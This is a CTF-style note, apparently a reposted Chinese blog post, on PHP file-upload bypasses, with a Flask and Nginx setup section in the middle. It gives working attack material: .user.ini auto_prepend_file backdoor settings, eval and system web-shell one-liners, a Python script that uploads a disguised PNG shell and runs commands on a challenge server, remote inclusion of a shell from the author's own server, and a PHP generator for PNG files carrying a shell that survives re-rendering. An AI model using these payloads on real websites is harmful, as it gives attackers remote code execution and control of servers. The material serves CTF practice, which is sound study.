1. 程式人生 > 其它 >檔案上傳-1

檔案上傳-1

.user.ini

在每次執行php檔案時,會自動去讀取這個配置檔案,來設定PHP的相關規則

PHP_INI_*模式的定義

模式 含義
PHP_INI_USER 可在使用者指令碼(例如ini_set())或Windows登錄檔(自PHP 5.3起)以及.user.ini中設定
PHP_INI_PERDIR 可在php.ini, .htaccess或httpd.conf中設定
PHP_INI_SYSTEM 可在php.ini或httpd.conf中設定
PHP_INI_ALL 可在任何地方設定

實際上,除了PHP_INI_SYSTEM以外的模式,都能通過.user.ini來設定。而且和php.ini不同的是,.user.ini是一個能被動態載入的ini檔案。即修改了.user.ini後不需要重啟伺服器中介軟體,只要等待user_ini.cacher_ttl所設定的時間(預設為300秒),即可被重新載入。

後門設定

我們能夠自定義的設定是模式PHP_INI_PERDIR和PHP_INI_USER的設定
其中有兩個配置可以製造後門

指定一個檔案,自動包含在要執行的檔案前,類似於在檔案前呼叫了require()函式。而auto_append_file類似,只是在檔案後面包含,直接將下面語句寫在user.ini中即可

auto_prepend_file = test.jpg

或者

auto_append_file = test.jpg

訪問方法

直接訪問index.php
注意:訪問上傳目錄的index.php


PHP短標籤

在php的配置檔案(php.ini)中有一個short_open_tag的值,開啟以後才可以使用PHP的短標籤:
同時,只有開啟這個才可以使用<?=代替<? echo


陣列過濾括號

使用陣列相應函式彈出陣列內容

<?= eval(array_pop($_POST))?>

寫個指令碼

import requests

url = "http://7f10bd72-59b8-49c0-9ad7-79b773290359.challenge.ctf.show/upload.php"

files = {"file": ("world.png", "<?= system(\"{}\")?>".format(input("Please input command:")), "image/png")}

response = requests.post(url, files=files)
print(response.text)

result = requests.get(url[:-4] + "/index.php")
print(result.text)

嘗試各種檔案頭


記一次遠端檔案包含

  1. 上傳.user.ini檔案,使其解析無後綴的檔案"22"
  2. 在"22"中使用include呼叫http協議請求自己雲伺服器shell,實現getshell。

注意:有的時候需要使用flask框架搭建的網站,而不能使用index.php

debian下flask環境搭建

安裝基礎包

sudo apt-get install build-essential
sudo apt-get install libncurses5-dev libncursesw5-dev libreadline6-dev
sudo apt-get install libdb5.1-dev libgdbm-dev libsqlite3-dev libssl-dev      
sudo apt-get install libbz2-dev libexpat1-dev liblzma-dev zlib1g-dev

安裝Python3

sudo apt-get update
sudo apt-get install python3.6

安裝Nginx

sudo apt-get install nginx
# 檢視版本
nginx -v

啟動Nginx

sudo /etc/init.d/nginx start

停止Nginx

sudo nginx -s stop

安裝uWSGI

pip install uwsgi

安裝虛擬環境virtualenv

pip install virtualenv

安裝網站

首先cd到你做網站根目錄的地址,然後

  

建立:
    virtualenv env
啟用虛擬環境:
    source env/bin/activate
安裝flask:
    pip install flask
退出虛擬環境:
    deactivate

寫一個Flask檔案

from flask import Flask
app = Flask(__name__)
@app.route("/")
def hello():
    return "你好呀,胡炎凱!"
if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

開始

進入虛擬環境
python main.py就可以了

將ip轉為長地址

32位十進位制數


直接請求遠端檔案

在.user.ini中配置auto_prepend_file=http://xxx
或者配置auto_append_file=http://xxx


二次渲染指令碼

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y + 1];
   $b = $p[$y + 2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'2.png');
/*
<?$_GET[0]($_POST[1]);?>
*/

?>